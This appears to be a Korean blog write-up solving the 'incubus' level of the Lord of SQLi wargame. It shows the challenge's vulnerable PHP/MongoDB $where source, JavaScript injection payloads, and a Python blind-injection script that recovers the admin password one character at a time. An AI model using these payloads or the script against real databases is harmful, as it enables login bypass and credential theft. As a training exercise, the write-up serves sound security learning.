<코드 분석>
<?php
include "./config.php";
login_chk();
$db = mongodb_connect();
if(preg_match('/prob|_|\(/i', $_GET['id'])) exit("No Hack ~_~");
if(preg_match('/prob|_|\(/i', $_GET['pw'])) exit("No Hack ~_~");
$query = array("\$where" => "function(){return obj.id=='{$_GET['id']}'&&obj.pw=='{$_GET['pw']}';}");
echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
$result = mongodb_fetch_array($db->prob_incubus->find($query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
$query = array("id" => "admin");
$result = mongodb_fetch_array($db->prob_incubus->find($query));
if($result['pw'] === $_GET['pw']) solve("incubus");
highlight_file(__FILE__);
?>
다시 몽고DB 를 이용한다.
pw 값을 찾아야 하는 문제다. admin의 pw 를 구해야한다.
blind sqli 문제이겠다.
<해설>
function이라는게 있는데 이걸 고민해봅시다.
정확히는 $Where 에 대한 부분인 것 같다.
MongoDB는 javascript 기반이기 때문에, $where 연산자를 통해서 javascript 표현을 사용할수 있다고 한다.
그렇다면 javascript 를 injection 해주는 형식이어야 할 것이다. 현재 쿼리에 있는 형식을 유지해주면서 해주면 크게 문제는 안생기겠지.
먼저 admin에 로그인부터 해보자
?id=admin&pw=' || obj.id=='admin
ㅇㅋ 성공했다.
이제 한자리씩 유추해보도록 하자.
length , ^ % 별거 다 해보고 찾아봤는데 소득이 없었다…
계속 검색하다가 보니까 python 하고 동일하게 Text index 의 경우 string 도 인덱싱이 가능하다고 한다.
그러면 obj.pw[1]= 'a' 이런식으로 비교를 해줄수 있다는 거고, pw 길이를 몰라도 할 수 있다는 뜻이다.
한번 해보자.
?id=admin&pw=' || obj.pw[0]>='0
오케이 로그인 했다. 대신 위에 처럼 넣어준 경우 guest로 로그인 된다. 그러면 guest의 비밀번호를 찾을 수 도 있기 때문에, 살짝 불안은 한데,, && 랑 || 이용해서 잘 해보자.
추가] : ||는 잘 들어가는데, &&는 넣으면 나머지 뒷부분이 없어진다. 왜그런지 잘 모르겠는데,,,,, 구분이 명확하지 않아서 그런가…? -> 인코딩해서 넣어
그러면 앞부분 id 에 admin을 명시해주면 된다.
?id=admin' %26%26 obj.pw[0]=='0
그런데 뒤에있는 구문하고 겹쳐서 답이 나오지 않는다. ; 로 문장을 끝내자.
?id=admin' %26%26 obj.pw[0]=='0';'
마지막에 ' 붙여주는 이유는 짝이 안맞아서 에러가 나기 때문.
오케이 이제 다 맞게 나온다. 나머지 부분은 python 코드를 짜서 보자.
import requests
url="https://los.rubiya.kr/chall/incubus_3dff9ce783c9f574edf015a7b99450d7.php"
PHPSESSID="본인의 PHPSESSID"
pw=""
count=0
while(1):
if count==101:
break
for i in range(48,128):
pay="?id=admin' %26%26 obj.pw["+str(count)+"]=='"+chr(i)+"';'"
res=requests.post(url=url+pay,cookies=(dict(PHPSESSID=PHPSESSID)))
if "Hello admin" in res.text:
print("found...!"+chr(i))
pw+=chr(i)
print("pw is ... : "+pw)
break
if i==127:
print("Ending search")
count=100
break
count+=1
print("FINAL PW : "+pw)
pw : b478822ea
Clear!
'WriteUp > LOS_rubiya' 카테고리의 다른 글
LOS -rubiya : Golem (0) | 2020.08.03 |
---|---|
LOS -rubiya : Mummy (0) | 2020.07.12 |
LOS -rubiya : Siren (0) | 2020.05.21 |
LOS -rubiya : Cerberus (0) | 2020.05.21 |
LOS -rubiya : Darkknight (0) | 2020.05.20 |